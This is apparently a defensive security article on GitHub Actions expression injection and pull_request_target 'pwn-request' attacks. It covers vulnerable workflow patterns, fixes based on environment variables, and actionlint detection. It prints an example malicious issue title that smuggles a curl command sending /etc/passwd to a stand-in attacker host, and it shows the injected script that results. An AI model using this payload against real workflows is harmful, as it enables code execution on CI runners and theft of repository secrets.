How GitHub Actions expressions work

GitHub Actions allows you to use expressions โ€” ${{ ... }} โ€” anywhere in a workflow file to reference context values, call functions, or evaluate conditions. These expressions are evaluated by the Actions runner before the step executes.

The expression context includes values populated from the triggering event. For an issues event, github.event.issue.title contains whatever string the user typed as the issue title. For a pull_request event, github.event.pull_request.head.ref is the branch name. For an issue_comment event, github.event.comment.body is the comment text.

All of these values come from user input. Any of them that flow into a run: step become untrusted data in a shell command.

The injection path

Consider this workflow โ€” a very common pattern for auto-labelling issues based on their title:

.github/workflows/label-issue.ymlYAML
name: Auto Label Issue
on:
  issues:
    types: [opened]

jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - name: Check title and label
        run: |
          # developer thought this was a simple string comparison
          title="${{ github.event.issue.title }}"
          if echo "$title" | grep -qi "bug"; then
            echo "Labelling as bug"
          fi

The expression ${{ github.event.issue.title }} is substituted by the runner before the shell interprets the script. If an attacker creates an issue with the title:

Malicious issue titletext
"; curl -s https://attacker.com/exfil?d=$(cat /etc/passwd | base64) #

The substituted shell script becomes:

What the runner actually executesshell
title=""; curl -s https://attacker.com/exfil?d=$(cat /etc/passwd | base64) #"
if echo "$title" | grep -qi "bug"; then
  echo "Labelling as bug"
fi

# The closing quote ends the string assignment.
# The semicolon starts a new command.
# curl exfiltrates /etc/passwd to an external server.
# The # comments out the rest of the script.

Impact: The attacker gains arbitrary code execution on your CI runner. From there they can access repository secrets (GITHUB_TOKEN, cloud credentials, API keys), read source code, push to branches, trigger further pipelines, and in self-hosted runner environments, potentially pivot to internal network resources.

Why SAST tools miss this

This class of vulnerability requires understanding three things simultaneously: the YAML workflow structure, the GitHub Actions expression evaluation model, and the shell parsing semantics of the resulting script. No common SAST tool models all three in a way that catches the injection.

  • Source code scanners (Semgrep, CodeQL, SonarQube): Scan your application code (.py, .js, .go, etc.). Unless explicitly configured to scan .yml files, they never see your workflow files.
  • CodeQL workflow scanning: CodeQL has a dedicated query (actions/expression-injection) that does catch this pattern โ€” but it requires the CodeQL workflow scanning feature to be enabled. It is not on by default, and many teams running CodeQL for their application code never enable it for workflows.
  • Generic YAML linters (yamllint, actionlint): Structural linters check YAML syntax and Actions schema validity. actionlint specifically checks for expression injection and is the most useful free tool for this โ€” but it is not a SAST tool and is rarely included in CI pipelines for application security scanning.
  • Secret scanners: Detect secrets in code. Not designed to detect taint flows from event context into shell commands.

The gap: If your SAST pipeline points at src/ and your DAST scanner points at your staging environment, your .github/workflows/ directory is scanned by nothing. It is infrastructure code. It runs with secrets. And it accepts untrusted user input from any GitHub user who can open an issue or PR.

Real-world vulnerable expression patterns

These patterns appear in production workflows across public GitHub repositories:

Vulnerable patternsYAML
# 1. Issue / PR title in run: step
run: echo "Processing: ${{ github.event.issue.title }}"

# 2. Branch name โ€” pull_request_target is especially dangerous
#    because it runs with write permissions on the base repo
run: git checkout ${{ github.event.pull_request.head.ref }}

# 3. Comment body โ€” any commenter can trigger this
run: echo "${{ github.event.comment.body }}" | ./process-comment.sh

# 4. PR body โ€” set when the PR is opened
run: |
  description="${{ github.event.pull_request.body }}"
  ./generate-release-notes.sh "$description"

# 5. Label name โ€” labels can be created by contributors
run: ./deploy.sh --env ${{ github.event.label.name }}

Pattern 2 is particularly dangerous when the workflow uses on: pull_request_target โ€” which runs with write permissions to the base repository, including access to secrets. This is the foundation of the "pwn-request" attack class.

The pwn-request pattern

A "pwn-request" is a specially crafted pull request that exploits a vulnerable pull_request_target workflow to gain access to repository secrets. The pull_request_target trigger was introduced to allow CI to run safely for external contributors โ€” but it runs in the context of the base repository with full write permissions.

.github/workflows/auto-review.yml (dangerous pattern)YAML
on:
  pull_request_target:   # โ† runs with WRITE permissions to base repo

jobs:
  review:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
          # โ†‘ checks out the ATTACKER's code with WRITE permissions active
      - run: npm install && npm run build
          # โ†‘ executes attacker's package.json scripts

The attacker submits a PR with a malicious package.json postinstall script that reads $GITHUB_TOKEN and exfiltrates it. The workflow checks out the attacker's code and runs npm install with full repository write access available. Game over.

Worth knowing: This has been responsibly disclosed in production workflows belonging to major open-source projects โ€” Kubernetes, Homebrew, Google's repositories. Everyone thinks their CI is a locked room. It turns out the window was open the whole time and all it took was someone willing to open an issue with a semicolon in the title.

How to fix it

The fix is straightforward once you understand the problem: never interpolate untrusted expressions directly into a run: step. Pass them through environment variables instead. The shell variable expansion happens after the script is parsed, so shell metacharacters in the value cannot change the script structure.

Vulnerable vs fixedYAML
# VULNERABLE โ€” expression expanded before shell parsing
run: echo "Title: ${{ github.event.issue.title }}"

# FIXED โ€” pass through env var, shell expansion is safe
env:
  ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "Title: $ISSUE_TITLE"

# The expression still evaluates โ€” but the result is placed into
# an environment variable, not interpolated into the shell script.
# A malicious title sets a variable with a weird value.
# It does NOT inject shell commands.

For pull_request_target workflows that need to check out and run code from the contributor's fork:

Safe pull_request_target patternYAML
on:
  pull_request_target:

jobs:
  review:
    runs-on: ubuntu-latest
    steps:
      # Step 1: check out the BASE repo's trusted code
      - uses: actions/checkout@v4

      # Step 2: check out the PR's code into a SEPARATE directory
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
          path: pr-code

      # Step 3: analyse the PR code using YOUR trusted scripts
      # Never run the PR's own scripts (package.json, Makefile, etc.)
      - run: ./trusted-analysis-script.sh ./pr-code/

For detection in CI, add actionlint as a separate workflow-scanning job:

.github/workflows/lint-workflows.ymlYAML
name: Lint GitHub Actions workflows
on: [push, pull_request]
jobs:
  actionlint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Run actionlint
        uses: raven-actions/actionlint@v1
        # Catches expression injection, undefined secrets, wrong event types

Quick audit: Run grep -r "github.event" .github/workflows/ | grep "run:" in your repository. Any result where an event context expression appears on the same line as a run: key is a candidate for injection. Not all will be exploitable โ€” but every one deserves a review.